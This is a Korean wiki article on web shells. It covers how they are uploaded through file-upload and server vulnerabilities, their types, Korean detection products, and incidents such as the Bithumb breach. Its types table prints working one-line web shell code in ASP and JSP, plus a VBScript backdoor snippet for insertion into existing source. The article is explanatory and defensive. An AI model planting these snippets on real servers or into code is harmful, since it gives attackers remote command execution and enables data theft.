검수요청.png검수요청.png

웹셸

해시넷
이동: 둘러보기, 검색

웹셸(Web Shell)은 웹서버명령을 실행하여 관리자 권한을 획득해 행하는 공격 방법을 말한다.[1] 웹쉘이라고도 쓴다.

개요[편집]

웹셸은 웹 애플리케이션의 첨부파일에 대한 부적절한 신뢰와 불충분한 점검으로 인해 악의적인 원격 공격 코드가 웹 서버로 전송, 실행되는 방법을 말한다.[1] 클라이언트의 명령을 서버에서 실행시켜 주는 프로그램을 뜻하기도 하며, 웹 서버의 취약점을 이용하여 업로드된 후 다양한 웹셸 기능을 통해 해당 서버의 제어권을 장악하고 정보 탈취, 위변조, 악성 스크립트 삽입 등 각종 행위를 수행한다. 해커는 이를 통해 정상적인 서비스를 방해하고, 기업의 기밀 정보를 획득하고, 유출 데이터를 이용한 피싱 범죄 및 인접한 타 시스템을 공격한다. 웹셸은 ASP, JSP, PHP텍스트 형태로 작성되어 사용되는 경우와 기존의 소스코드에 웹셸이 삽입되는 경우가 있다. 대표적으로 이미 알려진 탑 100 웹셸을 비롯하여 신변종 웹셸이 지속적으로 유포되고 있다.[2] 웹셸 공격은 일반적인 웹 사이트 사용자들과 동일한 웹 서비스 포트(http(80, 8080), https(443))를 통해 이루어지기 때문에 탐지가 매우 어려워, 해킹 사고가 터지지 않는 이상 인지하기가 어렵다.[3]

발생 원인[편집]

웹셸이 구동되기 위해서는 웹 애플리케이션의 SSS와 CSS에 대한 이해가 필요하다. 홈페이지가 구동하기 위해서는 HTTP를 통해 WWW 상에서 정보를 주고받게 된다. 서버 측면 프로그램(Server-Side Program)에 해당하는 부분이 바로 PHP, JSP, ASP, ASP.NET에 해당하는 SSS를 의미하게 되고, HTML 등 클라이언트 사이드 프로그램에 해당하는 부분이 CSS를 의미하게 된다. SSS는 클라이언트가 파일을 HTTP로 요청하면 웹서버(스크립트 엔진)의 정보를 이용하여 데이터베이스 서버에 접속하여 사용자에게 동적 데이터를 전송하는 것을 기본으로 하며, 최근에는 클라이언트에서 전송한 내용의 동적 데이터 생성뿐만 아니라 세션을 통한 사용자 구분 및 사용자별 서비스 제공 등 다양한 기능을 제공하고 있다. 웹셸이 서버에서 동작하기 위한 발생 원인에 대해서는 파일 업로드 기능의 사용 여부로 분류할 수 있다. 파일 업로드는 클라이언트에 존재하는 파일을 서버에 업로드하는 기능을 의미한다. 일반적으로 스마트에디터, 다음에디터, 전자정부프레임워크 등의 오픈소스 게시판을 이용하거나 자체 개발한 파일 업로드 기능을 이용하여 웹셸 파일의 업로드를 시도한다. 파일 업로드를 이용하여 웹셸을 서버에 올리기 위한 방법으로는 SSS나 CSS에 존재하는 파일 확장자 필터링 우회, 이미지 파일 등 정상 확상자 파일 내에 공격 코드를 삽입하는 정상 확장자를 이용한 우회 등으로 분류할 수 있다. 파일 업로드 기능을 이용하지 않고 서버에 웹셸을 생성하기 위한 방법은 취약점이 있다. 아파치 스트럿츠2(Apache Struts2) 원격 임의 코드 실행 취약점을 이용하여 파일을 생성하는 방식이 대표적인 사례로 볼 수 있다.[4]

[4]
구분 상세 구분 사례 예시 파일 업로드
사용 여부
확장자 우회 파일 확장자 우회
  • 서버(Server Side Script) 우회
  • CSS(Client Side Script) 우회
취약점 정상 확장자를
이용한 우회
  • 하이딩 웹셸 백도우 코드 인 이미지 파일
웹/웹 애플리케이션 서버
  • 아파치 스트럿츠2 원격 임의코드 실행 취약점
  • IIS 파일 파싱 바이패스 공격
애플리케이션
  • 자바 0-day 취약성
  • RFI(Remote File Inclusion) 취약성
  • SQL 인젝션 취약성
  • RFI(Remote File Inclusion) 취약성​
에디터
  • 스마트에디터 2.3.3 : 이미지 파일 확장자 미체크
  • 스마트에디터 2.8.2.1 : 파일업로드 취약점
  • 스마트에디터 2.8.2.1 : 파일업로드 취약점 ​

종류[편집]

단독파일이 웹셸로 사용되는 경우는 크게 텍스트와 이미지 형태의 파일로 분류할 수 있다. 텍스트 기반의 웹셸 파일을 세 가지로 분류할 수 있다. 단일 명령어로 구성된 한줄웹셸, 다중 명령어로 구성된 다중웹셸, 공격 명령을 분할해서 보내면 웹셸 파일 내에서 조합해서 사용하는 다중분할웹셸로 분류된다. 한줄웹셸의 경우, 다중웹셸과 다르게 공격 명령을 수행할 수 있는 명령어 한 개를 단독으로 사용하기 때문에 웹셸을 구분할 수 있는 별도의 네이밍이 존재하지 않는다. 하지만 다중웹셸의 경우 ASPXSpy나 b374k-shell, JspSpy와 같이 웹셸에 시그니처를 통해서 웹셸을 구분하는 네이밍이 존재하게 된다. 이미지 기반의 웹셸의 경우에는 두 가지로 분류할 수 있다. 이미지 기반의 웹셸은 이미지 파일 마지막에 공격구문을 삽입하는 방식과 이미지 파일 속성에 공격구문을 추가하는 방식으로 분류된다. 이미지 파일 마지막에 공격 구문을 삽입하는 방식은 이미지 파일의 내용을 에디터에서 수정하거나 파일 업로드 공격 시도 시에 프록시 툴을 이용하여 변조가 가능하다. 이미지 파일의 속성에 공격 구문을 추가하는 방식으로 대표적인 방식은 PNG 파일의 이미지 픽셀 정보가 저장되는 IDAT 청크에 공격 구문을 저장하는 방식이다.[4]

[4]
구분 상세 구분 예시
단독파일 텍스트 단일

한줄웹셸
싱글라인 웹셸
원라인 웹셸
일구화목마(后门木马)​

ASP : <% eval request(“cmd”) %>
PHP :
JSP : <% ​
Runtime.getRuntime().exec(request.getParameter("cmd")%>

다중 1개의 파일에 다중
공격구문이 존재하는 경우

ASP : ASPyder, Zehir Asp Shell, ASPXSpy, ASPX Shell
JSP : JspSpy, JspSpyWeb, jFolder, shack2, devilzShell, JSP File Browser, jshell, JspWebshell
JSP : JspSpy, JspSpyWeb, jFolder, shack2, devilzShell, JSP File Browser, jshell, JspWebshell​

기타 다중분할웹셸 공격자가 전송하는 다중분할 피라미터를 웹서버에서 재조합하는 방식
이미지 기타 이미지 웹셸

이미지 파일 마지막에 공격 구문을 삽입하는 방법
이미지 파일 구조 내에 공격 구문을 삽입하는 방법

내용추가 텍스트 다중 기존에 존재하는 소스코드에
웹셸이 삽입되어 있는 형태
<scrpt langage="vbs scrpit" runat="server">
   If Request("1234")<>"" Then Session("1cxMarcos")
= Request("1234")
   If Session("1cxMarcos")<>"" Then Execute(Session("1cxMarcos"))
</scrpt >

솔루션[편집]

웹 보안과 관련된 법규 및 컴플라이언스는 증가되는 추세이며, 관련 항목은 점점 강화되어 웹 보안 솔루션 구축의 필요성이 요구되고 있다. 현재 공개된 웹셸의 탐지 및 점검 수단으로는 시큐어 코딩, 취약점 패치, 실행 권한 설정 등 다양한 방식의 선제적 대응 조치가 필요한 실정이다. 시큐어 코딩(Secure Coding)은 웹 애플리케이션 보안 취약점을 제거할 수 있으나, 비용이 많이 들고, 개발·구축·유지보수 전 과정에 대한 인력 리소스 부족으로 많은 기업이 어려움을 받고 있다. 신ㆍ변종 웹셸의 탐지는 현재의 시그니처 기반의 솔루션(방화벽, IPS, WAF)으로는 신종 웹셸, 보안장비 우회 기법 등 신규 해킹의 방어가 현실적으로 어려움이 있으며, 다양한 우회 기법은 나날이 발전하고 있다. 웹 서버로 송, 수신되는 모든 패킷(Packet)의 내용을 검사하고 차단하는 웹 방화벽(WAF)은 OWASP, 국정원 취약점 등의 다양한 웹 공격을 시그니처 기반으로 탐지, 차단하기 때문에 신변종 웹셸에 대한 완벽한 대응이 불가능하다. 또한 웹셸로 인한 해킹 피해를 최소화하기 위해서는 24시간 실시간 모니터링이 필요하고 정확하고 빠른 탐지와 신변종 웹셸에 대한 명확한 분석이 필요하다.[2]

셸캅[편집]

셸캅(ShelCop)은 해커가 웹서버의 취약점을 이용해 웹서버 관리자 계정을 획득한 후, 저장된 내부 자료를 유출하거나 백도어 프로그램을 설치하는 등 악의적인 목적으로 웹서버에 설치한 웹셸 프로그램을 탐지하고, 발견 시 실행을 방지하는 이지시큐어의 솔루션이다. 또한, 웹서버의 해킹을 사전에 방지하거나 해킹 발생 후, 정보 유출과 해킹의 거점으로 사용되는 2차 피해를 방지한다.[5]

메티아이[편집]

메티아이(MetiEye)는 휴리스틱 엔진을 탑재한 에스에스알의 웹셸 탐지 및 방어 솔루션이다. 모의 해킹 컨설팅에서 사용되는 자체 제작된 웹셸의 패턴 테스트 등 30여 명의 전문 보안 컨설턴트가 현장에서 수집하는 패턴으로 수시 업데이트를 진행하고 있는 것이 특징이다. 또한 알려지지 않은 웹셸과 우회 기법을 탐지하는 기능이 강점이다. 특히, 에이전트 기반의 다른 제품들과 달리 서버에 설치되지 않고 스크립트 기반으로 복사해서 붙여넣기로 가능하기 때문에 시스템 운영자들이 가장 우려하는 서비스 가용성이나 안정성에 전혀 부담이 없는 것도 특징이다.[5]

더블유 쉴드 안티웹셸[편집]

더블유 쉴드 안티웹셸(W-Shield Anti-webshell)은 인포섹의 웹 보안 관제서비스를 위한 웹셸 탐지 전용 솔루션이다. 다년간 웹셸과 악성코드로 인한 해킹 사고를 대응하면서 축적한 400여개의 웹셸 패턴 노하우와 난독화된 웹셸을 탐지하기 위한 암호해독(Decoding) 엔진을 통해 다양한 웹셸 공격에 대한 대응이 가능하며, 논 에이전트(Non-Agent) 방식으로 시스템 부하를 최소화하고 안정성을 확보했다. 특히 드라이브 바이 다운로드 공격 탐지 솔루션인 더블유쉴드 MDS(Malware Detection System)과 연동해 사용하면 더욱 효과적이다.[5]

쉘가드[편집]

쉘가드(Shell GUARD)는 대한민국에서 처음으로 웹셸 탐지 솔루션 휘슬(WHISTL)을 한국인터넷진흥원과 공동 개발했으며 현재 약 4,000여 기업에서 사용 중이다. 셸가드는 하나 이상의 웹서버에 대해 각각 웹셸 프로그램을 탐지하고 관리자는 중앙관리 및 조치가 가능하다. 특히, 업로드 파일에 대한 웹셸 프로그램을 실시간으로 탐지하고 원격 관리를 통한 즉각적인 대응이 가능하다.[5]

이지스 셸 모니터[편집]

이지스 셸 모니터(AEGIS Shell Monitor)는 웹 서버 해킹에 사용되는 악성 프로그램인 웹셸을 실시간 모니터링 하고 탐지하는 에이쓰리시큐리티의 신개념 웹 보안 관제서비스로 웹셸을 방어하는 웹서버 단의 최종 방어수단이다. 특히, 여러 웹서버에 침투한 웹셸을 실시간으로 감시하고 수천 대의 웹서버를 통합 관제하는 웹셸 탐지 솔루션으로, 웹(HTTP)을 통한 데이터베이스 유출 방지, 서버 조작-시스템 내부 명령 실행 방지, 웹셸을 통한 악성코드 설치 방지, 우회 공격을 통한 웹셸 삽입 및 수정 방지 등의 기능을 제공한다.[5]

웹프론트-K[편집]

웹프론트-K는 실시간 웹셸 탐지 전문 솔루션을 연동해 강화된 보안기능을 제공하는 파이오링크의 웹방화벽이다. 웹프론트-K는 웹서버 앞에 위치, 불법 요청·응답을 차단하기에 기본적으로 웹셸 공격에 대한 방어 기능이 있다. 하지만 웹방화벽 설치 전, 또는 웹방화벽을 우회하는 웹셸 공격 방어를 위해서는 전문 솔루션의 추가 도입이 필요하다. 탐지와 분석을 이원화해 고객의 웹서버 부하를 최소화하고, 다양한 분석 방법, 지속적 패턴 생성 및 분석, 난독화 기술 등을 결합해 탐지 신뢰도를 높인 것이 장점이다.[5]

사건[편집]

암호화폐 거래소 빗썸의 내부 서버 등에서 웹셸이 여러 개 발견된 사건이 있었다. 특히, 일부 웹셸은 2018년 6월 이전에 심어진 것으로 드러나 실제 해킹 공격은 빗썸이 공지한 2018년 6월 20일보다 이전에 발생했을 가능성이 제기되었다. 확인 결과로, 2018년 6월 20일 발견된 웹셸 가운데 1개는 DRM 서버에 심겨 있었는데, 웹셸이 심어진 시기는 정황으로 볼 때 사건 발생 이전인 2018년 6월 전으로 추정되고 있고, 더욱이 추가 발견되는 웹셸에 따라 2018년 6월보다 이전에 심어졌을 가능성도 있다고 한다. 이와 관련해서 한 보안전문가는 웹셸이 심어진 시간 간격은 사건 추적에 있어 매우 중요하다며, 국내를 타깃으로 공격했던 웹셸이 발견된 건지, 웹셸 종류는 무엇인지 등이 사건을 풀어가는 중요한 실마리가 될 수 있고 일반적으로 공격자 입장에서는 위장 전술로 공개된 웹셸을 가져다 사용하는 경우가 많기 때문이라고 설명했다. 하지만 웹셸을 심은 서버나 시스템을 특정하기는 쉽지 않다. [6]

랜섬웨어와 동일한 기능을 가진 신종 웹 악성코드 웹셸이 등장했다. 웹 보안 전문업체 유엠브이기술은 2017년 6월 랜섬웨어 기능을 가진 신종 웹셸을 수집해 분석한 결과로 이미 여러 해외 인터넷 사이트가 감염된 것으로 확인됐다고 밝혔다. 기존 웹셸은 웹 서버에 명령을 수행할 수 있도록 작성한 웹 스크립트 파일로 웹 브라우저를 이용해 원격에서 서버 제어가 가능한 악성 파일을 뜻한다. 해커가 웹 서비스 취약점을 통해 웹 서버에 침투한 후 웹셸을 업로드해 시스템을 장악하면서 본격적인 공격을 시작한다. 이후 해커는 웹셸을 이용해 추가로 악성 파일을 업로드하고 시스템 명령어를 통해 실행하는 공격 방식을 사용한다. 이처럼 기존에는 업로드 기능과 시스템 명령으로 랜섬웨어를 추가 업로드해 실행했지만 이번에 수집된 신종 웹셸은 파일 자체가 랜섬웨어와 같은 기능을 한다. 신종 웹셸은 방어가 쉽지 않다. 랜섬웨어는 실행형(exe, scr, vbs 등) 파일로 프로세스가 생성되면서 암호화를 진행하는 반면에 신종 웹셸은 실행형 파일이 아닌 웹 서버 스크립트 파일로 동작하기 때문에 백신 등으로 탐지하는 데 한계가 있으며 피해자에게 금전을 요구하는 방식도 랜섬웨어와 유사하다. 기존 웹셸은 웹 서버 시스템 파괴(웹 서비스 불가) 데이터베이스 접근을 통한 개인정보 탈취 홈페이지 변조 등 금전적 요구 없는 공격이 주를 이루었지만 새로운 유형의 웹셸은 랜섬웨어와 동일하게 해커가 암호화할 때 사용되는 키(Key)값을 금전과 바꿀 수 있다. 신종 웹셸이 최근 기승을 부리는 랜섬웨어 추세에 맞춰 진화된 것이고 유엠브이기술이 신종 웹셸을 분석한 결과, 해커는 웹 브라우저를 통해 업로드 된 웹셸에 접속하게 된다. 이후 암호화에 사용되는 키값 입력 창에 해커만 알고 있는 키값을 입력한 후 실행 버튼을 누르면 파일들을 암호화하면서 웹 설정 파일과 에러페이지를 자동으로 생성한다. 일반 사용자가 정상 페이지에 접속하면 해당 페이지가 암호화돼 있기 때문에 생성된 에러페이지를 보여주도록 웹 설정 파일까지 생성된다. 에러페이지 내용은 사이트가 록(lock)에 걸렸다는 메시지와 함께 해커 이메일 주소가 나타난다. 랜섬웨어와 같이 금전을 요구할 수 있다. 초기 웹셸은 난독화 되어있지 않은 기본형부터 해커가 특정 사이트를 해킹 후 업로드 하여 암호설정을 통해 타인에게 계정정보를 파는 단계, 탐지 우회를 위해 코드를 변형하거나 지속적인 기능을 추가하는 단계, 관리자가 알아볼 수 없도록 난독화하는 단계를 거쳤지만, 신종 웹셸은 여기에서 그치지 않고 랜섬웨어와 닮은 단계로 진화한 것이다. 특히 인터넷을 통한 랜섬웨어 침해가 증가 추세여서 신종 웹셸이 빠르게 확산할 우려가 높다.[7]

각주[편집]

  1. 1.0 1.1 웹 셸〉, 《네이버 지식백과》
  2. 2.0 2.1 웹쉘〉, 《에스에스알》
  3. 아리밤, 〈웹 쉘(Web shell)이란 무엇일까요 ?〉, 《티스토리》, 2019-03-17
  4. 4.0 4.1 4.2 4.3 서비스사업본부 보안분석팀 김미희, 〈보안정보〉, 《이글루시큐리티》, 2017-02-01
  5. 5.0 5.1 5.2 5.3 5.4 5.5 김태형 기자, 〈웹서버 해킹 주범 ‘웹셸’ 제거하기 대작전〉, 《보안뉴스》, 2015-06-08
  6. 김경애 기자, 〈해킹사고 빗썸, 웹셸 다수 발견...결제승인 사칭 문자도 출현〉, 《보안뉴스》, 2018-07-03
  7. 서동규 기자, 〈랜섬웨어 꼭 닮은 신종 '웹쉘' 등장..인터넷 보안 비상등〉, 《다음뉴스》, 2017-06-26

참고자료[편집]

같이 보기[편집]


  검수요청.png검수요청.png 이 웹셸 문서는 보안에 관한 글로서 검토가 필요합니다. 위키 문서는 누구든지 자유롭게 편집할 수 있습니다. [편집]을 눌러 문서 내용을 검토·수정해 주세요.